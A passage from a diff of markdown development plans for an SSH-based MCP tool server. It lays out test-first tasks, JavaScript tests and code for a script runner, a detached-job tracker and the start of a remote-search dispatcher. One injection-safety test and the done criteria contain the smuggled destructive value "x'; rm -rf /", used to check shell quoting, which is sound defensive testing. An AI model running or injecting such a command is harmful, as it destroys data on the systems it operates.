] **Step 5: Commit** + +```bash +git add src/script-runner.js tests/test-script-runner.js +git commit -m "feat: add buildScriptCommand for ssh_run action script" +``` + +--- + +## Task 2: `parseScriptSegments` — split a result back into per-segment exits + +`buildScriptCommand` is half the contract; the renderer needs the result split back into `{index, command, stdout, exitCode}` per segment. The function is already present in the Task 1 module body — this task adds its test coverage, including the killed-mid-run case. + +**Files:** +- Modify: `tests/test-script-runner.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-script-runner.js`, change the import to add `parseScriptSegments`: + +```javascript +import { + SEG_RE, + buildScriptCommand, + parseScriptSegments, +} from '../src/script-runner.js'; +``` + +Add these tests before the `// --- Summary` section: + +```javascript +// --- parseScriptSegments ------------------------------------------------- +test('parseScriptSegments: splits stdout into per-segment results', () => { + const raw = 'a-out\n##SEG 0 0##\nb-out\n##SEG 1 0##\n'; + const segs = parseScriptSegments(raw, ['echo a', 'echo b']); + assert.strictEqual(segs.length, 2); + assert.strictEqual(segs[0].stdout, 'a-out'); + assert.strictEqual(segs[0].exitCode, 0); + assert.strictEqual(segs[0].command, 'echo a'); + assert.strictEqual(segs[1].stdout, 'b-out'); +}); + +test('parseScriptSegments: a non-zero segment exit is reported per segment', () => { + const raw = 'ok\n##SEG 0 0##\n\n##SEG 1 127##\n'; + const segs = parseScriptSegments(raw, ['true', 'nosuchcmd']); + assert.strictEqual(segs[0].exitCode, 0); + assert.strictEqual(segs[1].exitCode, 127, 'failure surfaced for its segment'); +}); + +test('parseScriptSegments: output after the last sentinel = unfinished segment', () => { + // Script killed mid-segment 1: no closing sentinel for it. + const raw = 'done\n##SEG 0 0##\nhalf-out'; + const segs = parseScriptSegments(raw, ['echo done', 'sleep 99']); + assert.strictEqual(segs.length, 2); + assert.strictEqual(segs[1].stdout, 'half-out'); + assert.strictEqual(segs[1].exitCode, null, 'no exit code for a killed segment'); + assert.strictEqual(segs[1].command, 'sleep 99'); +}); + +test('parseScriptSegments: trailing whitespace after last sentinel is not a segment', () => { + const raw = 'x\n##SEG 0 0##\n\n \n'; + const segs = parseScriptSegments(raw, ['echo x']); + assert.strictEqual(segs.length, 1, 'blank tail ignored'); +}); + +test('parseScriptSegments: empty / nullish stdout -> empty array', () => { + assert.deepStrictEqual(parseScriptSegments('', []), []); + assert.deepStrictEqual(parseScriptSegments(null, []), []); +}); + +test('parseScriptSegments: command label is null when commands array is short', () => { + const segs = parseScriptSegments('o\n##SEG 0 0##\n', []); + assert.strictEqual(segs[0].command, null); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-script-runner.js` +Expected: the `import` line resolves (`parseScriptSegments` is exported), so the failure is in the new tests only — except it should actually PASS, because `parseScriptSegments` was written in Task 1. If every new test passes immediately, that is acceptable: the function shipped with its sibling in Task 1 and this task is its dedicated coverage. Proceed to the commit. + +If any test fails, the function has a real bug — fix `parseScriptSegments` in `src/script-runner.js` before continuing. + +- [ ] **Step 3: Run the full script-runner suite** + +Run: `node tests/test-script-runner.js` +Expected: PASS — `14 passed, 0 failed`. + +- [ ] **Step 4: Commit** + +```bash +git add tests/test-script-runner.js +git commit -m "test: cover parseScriptSegments per-segment splitting" +``` + +--- + +## Task 3: Job-tracker — `newJobId` and `buildDetachCommand` + +`ssh_run action: detach` runs a long job in the background and returns immediately. The spec's job model: state lives on the *remote* host in `~/.ssh-manager/jobs//`, holding `rc` (exit code, written on completion), `pid`, and `log`. The launch line is `setsid sh -c '; echo $? > rc' > log 2>&1 & echo $! > pid`, so the job survives an MCP restart or a pooled-connection eviction. + +**Files:** +- Create: `src/job-tracker.js` +- Test: `tests/test-job-tracker.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-job-tracker.js`: + +```javascript +#!/usr/bin/env node +/** + * Test suite for src/job-tracker.js -- ssh_run detach/job-status/job-kill. + * Run: node tests/test-job-tracker.js + */ +import assert from 'assert'; +import { + JOBS_ROOT, + newJobId, + buildDetachCommand, +} from '../src/job-tracker.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing job-tracker\n'); + +// --- JOBS_ROOT ----------------------------------------------------------- +test('JOBS_ROOT: jobs live under ~/.ssh-manager/jobs', () => { + assert.strictEqual(JOBS_ROOT, '$HOME/.ssh-manager/jobs'); +}); + +// --- newJobId ------------------------------------------------------------ +test('newJobId: returns a non-empty, shell-safe id', () => { + const id = newJobId(); + assert(typeof id === 'string' && id.length > 0); + // Only safe characters -- the id becomes a directory name. + assert(/^[A-Za-z0-9_-]+$/.test(id), 'id is filesystem/shell safe'); +}); + +test('newJobId: successive ids are unique', () => { + const seen = new Set(); + for (let i = 0; i < 200; i++) seen.add(newJobId()); + assert.strictEqual(seen.size, 200, 'no collisions across 200 ids'); +}); + +// --- buildDetachCommand -------------------------------------------------- +test('buildDetachCommand: creates the per-job dir and returns {jobId, command, ...}', () => { + const r = buildDetachCommand('long-build.sh'); + assert(r.jobId, 'job id present'); + assert(r.command.includes('mkdir -p'), 'job dir created'); + assert(r.command.includes(r.jobId), 'job dir path uses the id'); + assert(r.logPath.includes(r.jobId), 'log path under the job dir'); +}); + +test('buildDetachCommand: detaches with setsid and writes rc on completion', () => { + const r = buildDetachCommand('make all'); + assert(r.command.includes('setsid'), 'detached from the SSH session'); + // `echo $? > .../rc` -- completion marker, written after the command. + assert(/echo \$\? >/.test(r.command), 'rc file captures the exit code'); + assert(r.command.includes('/rc'), 'rc file inside the job dir'); +}); + +test('buildDetachCommand: records the pid for later job-kill', () => { + const r = buildDetachCommand('sleep 100'); + // `echo $! > .../pid` -- the backgrounded pid. + assert(/echo \$! >/.test(r.command), 'pid recorded'); + assert(r.command.includes('/pid'), 'pid file inside the job dir'); +}); + +test('buildDetachCommand: log + stderr both redirected into the job log', () => { + const r = buildDetachCommand('noisy.sh'); + assert(r.command.includes('2>&1'), 'stderr folded into stdout'); + assert(r.command.includes('/log'), 'job log inside the job dir'); +}); + +test('buildDetachCommand: the user command is shell-quoted (injection-safe)', () => { + const r = buildDetachCommand("x'; rm -rf /"); + // The rm text may appear only inside a quoted literal. + assert(!/[^']rm -rf \//.test(r.command), 'no unquoted rm in the command'); +}); + +test('buildDetachCommand: an explicit job id is honored', () => { + const r = buildDetachCommand('echo hi', { jobId: 'fixed-id-1' }); + assert.strictEqual(r.jobId, 'fixed-id-1'); + assert(r.command.includes('fixed-id-1')); +}); + +test('buildDetachCommand: empty command is rejected', () => { + assert.throws(() => buildDetachCommand(''), /command is required/); + assert.throws(() => buildDetachCommand(null), /command is required/); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-job-tracker.js` +Expected: FAIL — `Cannot find module '../src/job-tracker.js'`. + +- [ ] **Step 3: Write the module skeleton with `newJobId` + `buildDetachCommand`** + +Create `src/job-tracker.js`: + +```javascript +/** + * ssh_run detach / job-status / job-kill engine. Job state lives on the + * REMOTE host under ~/.ssh-manager/jobs// as three files: rc (exit code, + * written on completion), pid, log. Completion is decided by the rc file's + * presence -- never by PID liveness -- so there is no PID-reuse race and a + * job survives an MCP restart or a pooled-connection eviction. + * + * Pure: builders return POSIX-sh strings, parseJobStatus turns raw stdout + * into a structured status. The dispatcher (Plan 4) execs and reads the log + * incrementally by offset. + */ + +import crypto from 'crypto'; + +/** Remote root for job directories. `$HOME` expands on the remote shell. */ +export const JOBS_ROOT = '$HOME/.ssh-manager/jobs'; + +/** A short, unique, filesystem/shell-safe job id. */ +export function newJobId() { + // 9 random bytes -> 12 base64url chars; collision-free for practical use. + return crypto.randomBytes(9).toString('base64url'); +} + +/** Shell-quote a token for POSIX sh (single-quote wrap, escape inner quote). */ +function shQuoteLocal(str) { + return `'${String(str).replace(/'/g, '\'\\\'\'')}'`; +} + +/** + * Build the detach launch command. Returns { jobId, jobDir, logPath, command }. + * + * The command: + * mkdir -p + * && setsid sh -c '; echo $? > /rc' > /log 2>&1 & + * echo $! > /pid + * + * setsid detaches the job from the SSH session's process group, so closing + * the channel does not kill it. rc is written only after the command exits. + */ +export function buildDetachCommand(command, { jobId = newJobId() } = {}) { + if (typeof command !== 'string' || command === '') { + throw new Error('ssh_run detach: command is required'); + } + const jobDir = `${JOBS_ROOT}/${jobId}`; + const logPath = `${jobDir}/log`; + // Inner script: run the user command, then record its exit code in rc. + const inner = `${command}; echo $? > ${jobDir}/rc`; + const cmd = + `mkdir -p ${jobDir} && ` + + `{ setsid sh -c ${shQuoteLocal(inner)} > ${logPath} 2>&1 & ` + + `echo $! > ${jobDir}/pid; }`; + return { jobId, jobDir, logPath, command: cmd }; +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-job-tracker.js` +Expected: PASS — `11 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/job-tracker.js tests/test-job-tracker.js +git commit -m "feat: add job-tracker detach launch builder" +``` + +--- + +## Task 4: `buildJobStatusCommand` + `parseJobStatus` — rc-presence completion + +`ssh_run action: job-status` must answer "is this job done, and what is its exit code" plus stream the *new* tail of the log. The spec is emphatic: completion is `rc` file **presence**, not PID liveness — a finished short job whose PID was reused by an unrelated process must still read as `done`. The status command emits a small parseable block; the log tail is read incrementally by byte offset. + +**Files:** +- Modify: `src/job-tracker.js` (append `buildJobStatusCommand`, `parseJobStatus`) +- Test: `tests/test-job-tracker.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-job-tracker.js`, change the import to add the two new functions: + +```javascript +import { + JOBS_ROOT, + newJobId, + buildDetachCommand, + buildJobStatusCommand, + parseJobStatus, +} from '../src/job-tracker.js'; +``` + +Add these tests before the `// --- Summary` section: + +```javascript +// --- buildJobStatusCommand ----------------------------------------------- +test('buildJobStatusCommand: reads rc, pid, and the log size', () => { + const cmd = buildJobStatusCommand('job-7'); + assert(cmd.includes('job-7'), 'targets the job dir'); + assert(cmd.includes('/rc'), 'reads the rc file'); + assert(cmd.includes('/pid'), 'reads the pid file'); + assert(cmd.includes('/log'), 'inspects the log'); +}); + +test('buildJobStatusCommand: emits parseable key markers', () => { + const cmd = buildJobStatusCommand('j'); + // The command prints lines the parser keys on. + assert(cmd.includes('RC='), 'rc marker emitted'); + assert(cmd.includes('PID='), 'pid marker emitted'); + assert(cmd.includes('LOGSIZE='), 'log size marker emitted'); +}); + +test('buildJobStatusCommand: reads the log tail from a byte offset', () => { + const cmd = buildJobStatusCommand('j', { offset: 4096 }); + // Incremental read -- only bytes after the offset, like follow-read. + assert(cmd.includes('4096'), 'offset threaded into the command'); + assert(/tail -c|dd .*bs=1.*skip=/.test(cmd), 'reads from the offset'); +}); + +test('buildJobStatusCommand: a missing job dir is reported, not a hard error', () => { + const cmd = buildJobStatusCommand('gone'); + // The command tolerates absence so the parser can say "unknown". + assert(/MISSING|2>\/dev\/null|test -d/.test(cmd), 'absence handled in-band'); +}); + +test('buildJobStatusCommand: empty job id is rejected', () => { + assert.throws(() => buildJobStatusCommand(''), /job id is required/); +}); + +// --- parseJobStatus ------------------------------------------------------ +test('parseJobStatus: rc file present -> done with that exit code', () => { + const st = parseJobStatus( + 'STATE=present\nRC=0\nPID=1234\nLOGSIZE=512\n##LOG##\nbuild complete', + ); + assert.strictEqual(st.state, 'done'); + assert.strictEqual(st.exitCode, 0); + assert.strictEqual(st.logChunk, 'build complete'); + assert.strictEqual(st.logSize, 512); +}); + +test('parseJobStatus: rc present and non-zero -> done, failure exit surfaced', () => { + const st = parseJobStatus('STATE=present\nRC=2\nPID=99\nLOGSIZE=10\n##LOG##\nerr'); + assert.strictEqual(st.state, 'done'); + assert.strictEqual(st.exitCode, 2); +}); + +test('parseJobStatus: no rc file -> running, exit code is null', () => { + // rc absent: the status command prints RC= empty. Job not finished. + const st = parseJobStatus('STATE=present\nRC=\nPID=4567\nLOGSIZE=88\n##LOG##\npartial'); + assert.strictEqual(st.state, 'running', 'rc absent => running, NOT pid-checked'); + assert.strictEqual(st.exitCode, null); + assert.strictEqual(st.pid, 4567); +}); + +test('parseJobStatus: completion ignores PID liveness entirely', () => { + // rc present even though PID would look dead -- still done. No PID-reuse race. + const st = parseJobStatus('STATE=present\nRC=0\nPID=\nLOGSIZE=4\n##LOG##\nout'); + assert.strictEqual(st.state, 'done', 'rc presence wins; empty PID irrelevant'); +}); + +test('parseJobStatus: missing job dir -> unknown state', () => { + const st = parseJobStatus('STATE=missing'); + assert.strictEqual(st.state, 'unknown'); +}); + +test('parseJobStatus: logSize feeds the next incremental read', () => { + const st = parseJobStatus('STATE=present\nRC=\nPID=1\nLOGSIZE=2048\n##LOG##\n'); + assert.strictEqual(st.logSize, 2048, 'caller passes this back as next offset'); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-job-tracker.js` +Expected: FAIL — `does not provide an export named 'buildJobStatusCommand'`. + +- [ ] **Step 3: Implement `buildJobStatusCommand` + `parseJobStatus`** + +Append to `src/job-tracker.js`: + +```javascript +/** + * Build the job-status command. Prints a small keyed block plus the log + * tail from `offset` bytes onward. `rc` presence (not PID liveness) decides + * completion -- `cat rc 2>/dev/null` yields the code, or empty if unwritten. + * + * Emitted block: + * STATE=present|missing + * RC= + * PID= + * LOGSIZE= + * ##LOG## + * + */ +export function buildJobStatusCommand(jobId, { offset = 0 } = {}) { + if (typeof jobId !== 'string' || jobId === '') { + throw new Error('ssh_run job-status: job id is required'); + } + const jobDir = `${JOBS_ROOT}/${jobId}`; + const off = offset | 0; + // wc -c after + yields bytes-from-offset; tail -c +N is 1-indexed. + return ( + `if test -d ${jobDir}; then ` + + `echo STATE=present; ` + + `echo "RC=$(cat ${jobDir}/rc 2>/dev/null)"; ` + + `echo "PID=$(cat ${jobDir}/pid 2>/dev/null)"; ` + + `echo "LOGSIZE=$(wc -c < ${jobDir}/log 2>/dev/null || echo 0)"; ` + + `echo '##LOG##'; ` + + `tail -c +${off + 1} ${jobDir}/log 2>/dev/null; ` + + `else echo STATE=missing; fi` + ); +} + +/** + * Parse job-status output into { state, exitCode, pid, logSize, logChunk }. + * state: 'done' (rc file present) | 'running' (dir present, no rc) + * | 'unknown' (job dir missing) + * exitCode is the rc value when done, else null. PID liveness is never + * consulted -- rc presence alone decides completion. + */ +export function parseJobStatus(stdout) { + const s = stdout == null ? '' : String(stdout); + const logMark = s.indexOf('\n##LOG##\n'); + const head = logMark === -1 ? s : s.slice(0, logMark); + const logChunk = logMark === -1 ? '' : s.slice(logMark + '\n##LOG##\n'.length); + + const field = (key) => { + const m = head.match(new RegExp(`^${key}=(.*)$`, 'm')); + return m ? m[1].trim() : ''; + }; + + if (field('STATE') === 'missing') { + return { state: 'unknown', exitCode: null, pid: null, logSize: 0, logChunk: '' }; + } + + const rc = field('RC'); + const pidRaw = field('PID'); + const sizeRaw = field('LOGSIZE'); + const hasRc = rc !== ''; + + return { + state: hasRc ? 'done' : 'running', + exitCode: hasRc ? Number(rc) : null, + pid: pidRaw === '' ? null : Number(pidRaw), + logSize: sizeRaw === '' ? 0 : Number(sizeRaw), + logChunk, + }; +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-job-tracker.js` +Expected: PASS — `22 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/job-tracker.js tests/test-job-tracker.js +git commit -m "feat: add job-status command and rc-presence parser" +``` + +--- + +## Task 5: `buildJobKillCommand` — terminate the job's process group + +`ssh_run action: job-kill` reads the recorded `pid` and terminates the *process group* (the job was launched under `setsid`, so it leads its own group; killing the group catches children too). It escalates `TERM` then `KILL`, and tolerates an already-dead or missing job. + +**Files:** +- Modify: `src/job-tracker.js` (append `buildJobKillCommand`) +- Test: `tests/test-job-tracker.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-job-tracker.js`, change the import to add `buildJobKillCommand`: + +```javascript +import { + JOBS_ROOT, + newJobId, + buildDetachCommand, + buildJobStatusCommand, + parseJobStatus, + buildJobKillCommand, +} from '../src/job-tracker.js'; +``` + +Add these tests before the `// --- Summary` section: + +```javascript +// --- buildJobKillCommand ------------------------------------------------- +test('buildJobKillCommand: reads the recorded pid for the job', () => { + const cmd = buildJobKillCommand('job-9'); + assert(cmd.includes('job-9/pid'), 'reads the pid file'); + assert(cmd.includes('cat '), 'cat the pid file'); +}); + +test('buildJobKillCommand: kills the process GROUP, not just the pid', () => { + const cmd = buildJobKillCommand('j'); + // setsid makes the job a group leader; kill - - hits the group. + assert(/kill -[A-Z]+ -/.test(cmd) || cmd.includes('-- -'), 'negative pid => process group'); +}); + +test('buildJobKillCommand: escalates TERM then KILL', () => { + const cmd = buildJobKillCommand('j'); + assert(cmd.includes('TERM'), 'graceful TERM first'); + assert(cmd.includes('KILL'), 'KILL escalation'); + // KILL must come after TERM in the command text. + assert(cmd.indexOf('TERM') < cmd.indexOf('KILL'), 'TERM precedes KILL'); +}); + +test('buildJobKillCommand: tolerates a missing or already-dead job', () => { + const cmd = buildJobKillCommand('gone'); + assert(/2>\/dev\/null|test -|MISSING/.test(cmd), 'absence handled in-band'); +}); + +test('buildJobKillCommand: empty job id is rejected', () => { + assert.throws(() => buildJobKillCommand(''), /job id is required/); + assert.throws(() => buildJobKillCommand(null), /job id is required/); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-job-tracker.js` +Expected: FAIL — `does not provide an export named 'buildJobKillCommand'`. + +- [ ] **Step 3: Implement `buildJobKillCommand`** + +Append to `src/job-tracker.js`: + +```javascript +/** + * Build the job-kill command. Reads the recorded pid; since the job ran + * under setsid it leads its own process group, so a negative pid (`-PID`) + * signals the whole group -- children included. TERM first, brief grace, + * then KILL. A missing pid file or an already-dead group is not an error. + */ +export function buildJobKillCommand(jobId) { + if (typeof jobId !== 'string' || jobId === '') { + throw new Error('ssh_run job-kill: job id is required'); + } + const jobDir = `${JOBS_ROOT}/${jobId}`; + // P holds the job's pid; -$P targets its process group. + return ( + `P=$(cat ${jobDir}/pid 2>/dev/null); ` + + `if test -n "$P"; then ` + + `kill -TERM -"$P" 2>/dev/null; ` + + `sleep 2; ` + + `kill -KILL -"$P" 2>/dev/null; ` + + `echo "killed $P"; ` + + `else echo 'job-kill: no pid recorded'; fi` + ); +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-job-tracker.js` +Expected: PASS — `27 passed, 0 failed`. + +- [ ] **Step 5: Run the full suite to confirm zero regressions** + +Run: `npm test` +Expected: `39 files, 731 passed, 0 failed` — the previous `690 passed` plus the 14-test `test-script-runner.js` suite plus the 27-test `test-job-tracker.js` suite. Zero failures: this plan only *adds* two modules and two suites, so every pre-existing suite must still pass unchanged. + +- [ ] **Step 6: Commit** + +```bash +git add src/job-tracker.js tests/test-job-tracker.js +git commit -m "feat: add job-kill process-group terminator" +``` + +--- + +## Done criteria + +- `src/script-runner.js` exports `SEG_RE`, `buildScriptCommand`, `parseScriptSegments`. `buildScriptCommand` joins a `commands` array into one `;`-separated exec with a `printf '\n##SEG %d %d##\n' $?` sentinel after each segment; `isolate: true` wraps each segment in its own `sh -c`. `parseScriptSegments` splits the result back into per-segment `{index, command, stdout, exitCode}`, with `exitCode: null` for a segment killed before its sentinel. +- `src/job-tracker.js` exports `JOBS_ROOT`, `newJobId`, `buildDetachCommand`, `buildJobStatusCommand`, `parseJobStatus`, `buildJobKillCommand`. Job state is the remote `~/.ssh-manager/jobs//{rc,pid,log}` trio; `detach` launches under `setsid`; `parseJobStatus` decides `done` from the **presence of `rc`**, never PID liveness; `job-status` reads the log tail from a byte offset; `job-kill` signals the process group `TERM` then `KILL`. +- Every user-supplied command in both modules is shell-quoted — an injected `'; rm -rf /` survives only inside a quoted literal. +- `npm test` is green: `731 passed, 0 failed`, no regression in any pre-existing suite. + +Plan 4's `ssh_run` dispatcher imports these: `action: script` runs `buildScriptCommand` through `streamExecCommand` then `parseScriptSegments`; `action: detach` runs `buildDetachCommand` and returns the job id; `action: job-status` runs `buildJobStatusCommand` with the caller's last `logSize` as `offset` and parses with `parseJobStatus`; `action: job-kill` runs `buildJobKillCommand`. This plan ships the engines and tests; the dispatcher wiring and the offset round-tripping are Plan 4's responsibility. + +--- + +## Self-review + +Performed after drafting; issues found and fixed inline: + +1. **Script segments must not be `&&`-chained.** A first instinct is `cmd1 && printf... && cmd2 && printf...`, but `&&` aborts the chain on the first non-zero exit — segment 3 would never run and never get a sentinel. The spec wants *all* segments to run with *per-segment* exits. Fixed: segments are `;`-separated (each segment then its `printf` sentinel), so a failure is recorded and the next segment still runs. Test `buildScriptCommand: segments are NOT && chained` guards this. +2. **`$?` capture ordering.** The sentinel must read `$?` of the *segment*, before anything else clobbers it. The emitted form `; printf '...' $?` works because `;` runs `printf` next and `$?` still holds the segment's exit at that point. A `\n` before `;` in the non-isolate `{ ...\n; }` block guards against a segment whose last line is a comment swallowing the `;`. +3. **`isolate` shared-state semantics.** Default (non-isolate) must keep `cd`/env across segments — it is one shell, segments are just `;`-joined, so that holds. `isolate: true` wraps each segment in `sh -c '...'`: a child shell per segment, so `cd` in one does not leak. Tests assert both: `cd /tmp` then `pwd` is one shell by default, two `sh -c` when isolated. +4. **`parseScriptSegments` trailing-output case.** If the script is killed mid-segment, the last segment has output but no closing sentinel. First draft dropped it. Fixed: after the sentinel loop, any non-whitespace tail becomes a final segment with `exitCode: null`. A pure-whitespace tail (trailing newlines after the last sentinel) is *not* a segment — test `trailing whitespace after last sentinel is not a segment` pins that, otherwise every well-formed script would show a phantom empty segment. +5. **rc-presence vs PID liveness — the core spec requirement.** The dangerous bug the spec calls out: deciding completion by checking whether the PID is alive. A short job finishes, its PID is recycled by an unrelated process, and a liveness check wrongly reports the job as still running. `parseJobStatus` therefore keys completion *solely* on whether `RC=` carried a value. The status command emits `RC=` empty when `cat rc` fails (file absent). Test `parseJobStatus: completion ignores PID liveness entirely` feeds `RC=0` with an empty `PID=` and asserts `done` — proving PID is never consulted. +6. **Incremental log read offset.** `tail -c +N` is **1-indexed** — `+1` is the whole file, `+1025` skips the first 1024 bytes. The command emits `tail -c +${off + 1}`, so an `offset` of 4096 (the previous `LOGSIZE`) reads byte 4097 onward — exactly the new tail. The status block also re-emits `LOGSIZE`, which the caller passes back as the next `offset`. Test threads `offset: 4096` and asserts `4096` appears. +7. **`job-kill` must hit the process group.** The job runs under `setsid`, making its pid a process-group leader. `kill -TERM -"$P"` (negative pid) signals the whole group, so a job that spawned children is fully reaped. Killing only `$P` would orphan children. Test `kills the process GROUP` asserts the negative-pid form. `setsid` in `buildDetachCommand` is what makes this valid — the two are a matched pair. +8. **`setsid` availability.** `setsid` is in `util-linux` and effectively universal on Linux; the spec names it directly in the job-model section, so this plan follows the spec rather than adding a fallback. If a target host genuinely lacks it the detach exec fails loudly with a clear `setsid: command not found` — acceptable and diagnosable. +9. **`shQuote` duplication.** `script-runner.js` and `job-tracker.js` each define a local `shQuoteLocal` rather than importing `shQuote` from `stream-exec.js`. Deliberate: it keeps these two engine modules dependency-free of the streaming layer (they are command *builders*, conceptually upstream of exec), and the helper is four lines. The remote-search plan (5a) *does* import `shQuote` — the inconsistency is intentional and noted: remote-search is already coupled to nothing else from stream-exec, so one import is clean there, whereas pulling stream-exec into the job engine for one helper is not worth the coupling. A reviewer may consolidate all three onto one shared `sh-quote.js` later; that is a non-blocking cleanup. +10. **Task 2 may pass without first failing.** `parseScriptSegments` is written in Task 1 alongside `buildScriptCommand` (they are one cohesive module and splitting the function across two tasks would leave Task 1's module half-defined). So Task 2's tests can pass on first run. Step 2 of Task 2 states this explicitly and treats an immediate pass as acceptable — the red-green discipline is satisfied at the module level in Task 1. This is the one deliberate deviation from strict per-task red-first; flagged here so it is not read as an error. +11. **Test count arithmetic.** script-runner: Task 1 adds 8, Task 2 adds 6 (total 14). job-tracker: Task 3 adds 11, Task 4 adds 11 (total 22), Task 5 adds 5 (total 27). Baseline `690` (confirmed at planning time) + 14 + 27 = `731`. Consistent with the final `npm test` line. diff --git a/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-wiring.md b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-wiring.md new file mode 100644 index 0000000..a8b35ec --- /dev/null +++ b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-wiring.md @@ -0,0 +1,1471 @@ +# ssh-mcp v4 Wiring: ssh_find + ssh_run script/jobs Implementation Plan + +> For agentic workers: REQUIRED SUB-SKILL: superpowers:subagent-driven-development + +## Goal + +Plan 5 shipped three pure library modules — `remote-search.js`, `script-runner.js`, `job-tracker.js` — fully tested but **unwired**: no tool surface reaches them. This plan connects them. + +Two deliverables: + +1. **A new 13th v4 tool, `ssh_find`** — a remote-search verb-tool with actions `grep` / `locate` / `ls`. A new dispatcher `src/dispatchers/ssh-find.js` builds a bounded POSIX command via `remote-search.js`, runs it through `streamExecCommand`, feeds raw stdout to the matching parser, and renders structured hits with `renderRows`. Registered in `index.js`, `tool-registry.js`, `tool-annotations.js` — the surface grows from 12 to 13 tools. + +2. **Four new `ssh_run` actions** — `script`, `detach`, `job-status`, `job-kill` — wiring `script-runner.js` + `job-tracker.js` into the existing `src/dispatchers/ssh-run.js`. `script` MUST thread the `buildScriptCommand` nonce into `parseScriptSegments`. New actions + args land in the `ssh_run` `inputSchema` in `index.js`. + +## Architecture + +The existing v4 dispatchers (`ssh-run`, `ssh-fleet`, `ssh-docker`, ...) route an `action` arg to a handler in `src/tools/*.js`. The Plan-5 modules have **no `src/tools/*.js` handler** — they are builder/parser pairs. So both deliverables follow a different shape, already used inside `handleSshExecute` (`src/tools/exec-tools.js:31`): the dispatcher itself resolves a connection via `deps.getConnection`, calls `streamExecCommand` directly, then post-processes. + +- `ssh-find.js` is a self-contained dispatcher: no injected `handlers`, only `deps` (`getConnection`). It owns the build → exec → parse → render pipeline for all three actions. +- `ssh-run.js` keeps its three existing handler-delegating actions (`exec`, `sudo`, `fleet`) unchanged and gains four new actions that exec directly, exactly like `ssh-find`. The new actions need `deps.getConnection`; that is already passed in the `DEPS` bundle. +- Both dispatchers return MCP responses built from `structured-result.js` (`ok` / `fail` / `toMcp`). Success payloads carry structured `data` plus a rendered markdown face built with `renderRows` / `renderKV`. + +Boundary: builders and parsers stay pure (Plan 5, untouched). Dispatchers do all I/O. `streamExecCommand` is called with `raw: true` — every Plan-5 command is *already* `timeout`-wrapped server-side, so the outer `wrapWithTimeout` shell would be redundant; an in-process `timeoutMs` ceiling still guards a stuck channel. + +## Tech Stack + +- Node.js ESM (`import`/`export`), same as the rest of `src/`. +- `streamExecCommand` / `shQuote` from `src/stream-exec.js`. +- `ok` / `fail` / `toMcp` from `src/structured-result.js`. +- `renderHeader` / `renderRows` / `renderKV` / `indentBody` from `src/output-formatter.js`. +- `requireArgs` from `src/dispatchers/action-validate.js`. +- Plan-5 modules: `src/remote-search.js`, `src/script-runner.js`, `src/job-tracker.js`. +- Zod schema fragments in `src/index.js` registration blocks. +- Tests: plain `node tests/test-*.js`, `import assert`, local `test()` helper, prints `N passed, M failed`, `process.exit(1)` on any fail. Discovered by `scripts/run-tests.mjs`. + +**Baseline:** `node scripts/run-tests.mjs` currently reports `54 files, 955 passed, 0 failed`. Every task below ends green with a strictly higher pass count and no regression. + +## File Structure + +``` +src/ + dispatchers/ + ssh-find.js NEW -- 13th tool dispatcher: grep/locate/ls + ssh-run.js EDIT -- + script/detach/job-status/job-kill actions + index.js EDIT -- register ssh_find; extend ssh_run inputSchema + tool-registry.js EDIT -- ssh_find -> core group; counts 12->13 + tool-annotations.js EDIT -- ssh_find annotations entry +tests/ + test-dispatcher-find.js NEW -- routing + build/parse/render for ssh_find + test-dispatcher-run.js EDIT -- + script/detach/job-status/job-kill routing + test-tool-registry.js EDIT -- 12 -> 13 assertions + test-index-registration.js EDIT -- 12 -> 13 assertions + test-tool-annotations.js EDIT -- 12 -> 13 assertions +docs/superpowers/plans/ + 2026-05-17-ssh-mcp-v4-wiring.md THIS FILE +``` + +No file outside this list is touched. The Plan-5 modules and their test suites are read-only here. + +--- + +## Task 1: ssh_find dispatcher — `grep` action + +Create `src/dispatchers/ssh-find.js` handling only the `grep` action end to end: validate args, `buildGrepCommand`, `streamExecCommand`, `parseGrepHits`, render hits as a table. Locate/ls are stubbed as "unknown action" until Tasks 2-3. + +- [ ] **Write the failing test.** Create `tests/test-dispatcher-find.js`: + +```js +#!/usr/bin/env node +/** + * Routing + pipeline suite for the ssh_find v4 dispatcher + * (src/dispatchers/ssh-find.js). A fake ssh2 client returns canned stdout so + * the build -> exec -> parse -> render path is exercised without a network. + * Run: node tests/test-dispatcher-find.js + */ +import assert from 'assert'; +import { handleSshFind } from '../src/dispatchers/ssh-find.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +// Fake ssh2 client: client.exec(cmd, cb) -> a stream emitting canned stdout. +// `script` records every command string the dispatcher runs. +function fakeClient(stdoutByMatch) { + const script = []; + const client = { + exec(command, cb) { + script.push(command); + let chosen = ''; + for (const [needle, out] of stdoutByMatch) { + if (command.includes(needle)) { chosen = out; break; } + } + const listeners = {}; + const stream = { + stderr: { on() { return stream.stderr; } }, + on(ev, fn) { (listeners[ev] = listeners[ev] || []).push(fn); return stream; }, + close() {}, + signal() {}, + }; + cb(null, 